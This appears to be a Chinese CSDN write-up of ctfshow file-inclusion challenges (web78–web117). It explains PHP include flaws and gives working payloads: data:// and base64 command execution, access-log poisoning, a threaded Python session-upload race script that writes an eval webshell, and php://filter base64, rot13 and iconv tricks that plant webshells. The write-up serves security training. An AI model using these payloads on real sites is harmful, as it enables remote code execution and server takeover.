ctfshow 文件包含

文章详细介绍了文件包含漏洞的概念,以PHP为例展示了如何利用这种漏洞,包括通过伪协议、base64编码、日志包含等方式绕过过滤机制,执行恶意代码。同时,文中提供了多个实例,解释了如何防范和利用此类漏洞进行攻击。
摘要由CSDN通过智能技术生成

什么是文件包含

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到会被……包含产生致命错误,并停止脚本运行
include():找不到会被……包含产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
 

web78


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

没有任何过滤,直接传

?file=data://text/plain,<?php system("cat flag.php");?>

查看页面源代码就会有flag

data://是伪协议

具体参考:CTF常用伪协议总结_Asionm的博客-CSDN博客_ctf伪协议

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看到php被???代替了

可以使用base64 

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以看出php好data都被代替了

 这里可以进行日志包含:通过User-Agent头部注入命令:

 然后post传参,找flag位置

?file=/var/log/nginx/access.log

找到

 然后post传参

a=system('cat fl0g.php');

查看页面源代码即可找到flag

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这道题替换了data,php,:

和上一题一样

web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这道题的过滤无法使用日志包含。

PHP里面唯一我们能控制的没有后缀的文件就是session文件

利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的。

1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)

2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马

比如为:<?php system('ls');?>

3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_<?php system('ls')?>。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。

4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。
 

 脚本方法

脚本

import requests
import io
import threading
 
url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'     
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}
 
 
#为了进行条件竞争,需要一边写一边读
 
#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
	fileBytes = io.BytesIO(b'a'*1024*50)          #生产一个50k的文件
	while True:
		response=session.post(url,
			data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
			cookies={'PHPSESSID':sessionid},
			files={'file':('ctfshow.jpg',fileBytes)}    #设置文件名字和内容
			)
 
 
 
#读取session文件,这里文件为/tmp/sess_ctfshow
 
def read(session):
	while True:
		response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
		response2=session.get(url+'tao.php');
		if response2.status_code==200:
			print('++++++++++++++++++++')
		else:
			print(response2.status_code)
 
 
 
if __name__=='__main__':
 
	#开启多线程进行竞争	
	evnet=threading.Event()
	with requests.session() as session:			
		for i in range(20):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(20):
			threading.Thread(target=read,args=(session,)).start()
	evnet.set()

出现+号后然后访问url/tao.php。post传参2=system('tac fl0g.php'); 

web83

session_unset();
session_destroy();
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
 
    include($file);
}else{
    highlight_file(__FILE__);
}
<!DOCTYPE html>
<html>
<body>
<form action="http://44a86596-324d-4eaa-8051-6e323bd0814a.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

 

创建一个1.html,写入上面的代码

搭建本地环境,进入1.html,上传的文件随意

使用bp抓包

在cookie处添加:PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag

发送到爆破模块,以上为第一个包

来到题目页面,传参?file=/tmp/sess_flag,同时抓包

发送到爆破模块。为第二个包

两个同时开始发包

访问fl0g.php即可

 web84-86

同上

web87

方法一:

题目中的die是绕过的重点

对其使用base64解码绕过

?file=php://filter/write=convert.base64-decode/resource=flag.php

 base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’

分析:

向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。

编码时,转换成Base64的最小单位就是3个字节

解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6  个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。

其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。

 将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=

解码后:<?php eval($_POST[1]);?    这样传进去就会报错

解决方法:将+进行urlencode

payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
 
//即?file=php://filter/write=convert.base64-decode/resource=1.php
//对写的内容进行base64编码。
 
post:content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
//<?php eval($_POST[1]);?>
//这里加上两个a是为两和phpdie组成8个字符进行解码。

 最后访问1.php、post输入system('tac fl0g.php');即可 

方法2: 

利用rot13编码

条件:在PHP不开启short_open_tag(短标签)时

payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
 
//?file=php://filter/write=string.rot13/resource=3.php
//对写的内容进行rot13编码。
 
content=<?cuc riny($_CBFG[1]);?>
 
//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。

web88

<?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

分析:

这里没有过滤data且没有过滤:。所以我们可以使用data协议

方法:

payload:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ21vbmljYSddKTs/Pnh4
post:monica=system('tac f*');
 
//?file=data://text/plain;base64,<?php eval($_POST['monica']);?>xx
这里在后面添加两个xx是为了不让后面的php代码base64加密之后出现=,有几个=就加几个字符(其实也可以直接将=删除,因为base64在解码的时候会自动删除=)。如果加密后出现出现+就只能换一个php代码。

 

web116

?file=flag.php

抓包

 

web117

分析:没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。

 
payload:
get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
 

然后访问a.php 
post:1=system('tac flag.php');

 
 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值